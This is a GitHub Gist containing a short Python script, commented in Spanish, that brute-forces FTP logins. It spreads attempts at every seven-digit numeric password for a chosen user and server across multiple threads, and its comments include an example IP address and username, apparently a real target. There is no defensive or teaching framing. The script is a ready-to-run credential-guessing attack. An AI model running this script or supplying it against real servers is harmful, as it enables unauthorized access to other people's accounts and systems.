Last active
March 30, 2024 10:07
-
-
Save j0rd1s3rr4n0/7bac62d65dee083bf05832ac59567161 to your computer and use it in GitHub Desktop.
ftp_brute_digits_only
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import threading | |
from ftplib import FTP | |
import os | |
def conectar_ftp(servidor, usuario, contrasena, contrasenas_correctas): | |
try: | |
# Intentamos establecer la conexión FTP | |
ftp = FTP(servidor) | |
ftp.login(usuario, contrasena) | |
print("Conexión FTP exitosa con contraseña:", contrasena) | |
contrasenas_correctas.append(contrasena) | |
except Exception as e: | |
# Si hay algún error al conectarse, capturamos la excepción y la imprimimos | |
# print(f"Intentando con contraseña: {contrasena}, Error: {e}") | |
pass # Continúa probando más contraseñas | |
# Configura tus credenciales FTP | |
LONGITUD_PASSWORD = 7 | |
servidor_ftp = input("IP > ") #'52.10.103.130' | |
usuario_ftp = input("USER > ") # 'aquero' | |
# Número máximo de hilos permitidos por el procesador | |
num_hilos_max = os.cpu_count() | |
# Número de hilos para ejecutar simultáneamente (ajustado según el número máximo de hilos) | |
num_hilos = min(100, num_hilos_max) | |
# Contraseñas correctas encontradas | |
contrasenas_correctas = [] | |
# Tiempo máximo para ejecutar la prueba de contraseñas (en segundos) | |
tiempo_maximo = 60 # por ejemplo, 60 segundos | |
# Función para probar contraseñas en un rango específico | |
def probar_contrasenas(hilo_id): | |
for i in range(hilo_id + 1, 10000000, num_hilos): | |
contrasena = str(i).zfill(LONGITUD_PASSWORD) # Añade ceros a la izquierda si es necesario | |
conectar_ftp(servidor_ftp, usuario_ftp, contrasena, contrasenas_correctas) | |
if contrasenas_correctas: # Si se encuentra una contraseña válida, termina la ejecución | |
return | |
# Crear y ejecutar los hilos | |
hilos = [threading.Thread(target=probar_contrasenas, args=(i,)) for i in range(num_hilos)] | |
for hilo in hilos: | |
hilo.start() | |
# Configurar temporizador para detener la ejecución después de cierto tiempo | |
temporizador = threading.Timer(tiempo_maximo, lambda: os._exit(0)) | |
temporizador.start() | |
# Esperar a que todos los hilos terminen o que el temporizador expire | |
for hilo in hilos: | |
hilo.join() | |
# Cancelar el temporizador si todavía está activo | |
temporizador.cancel() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment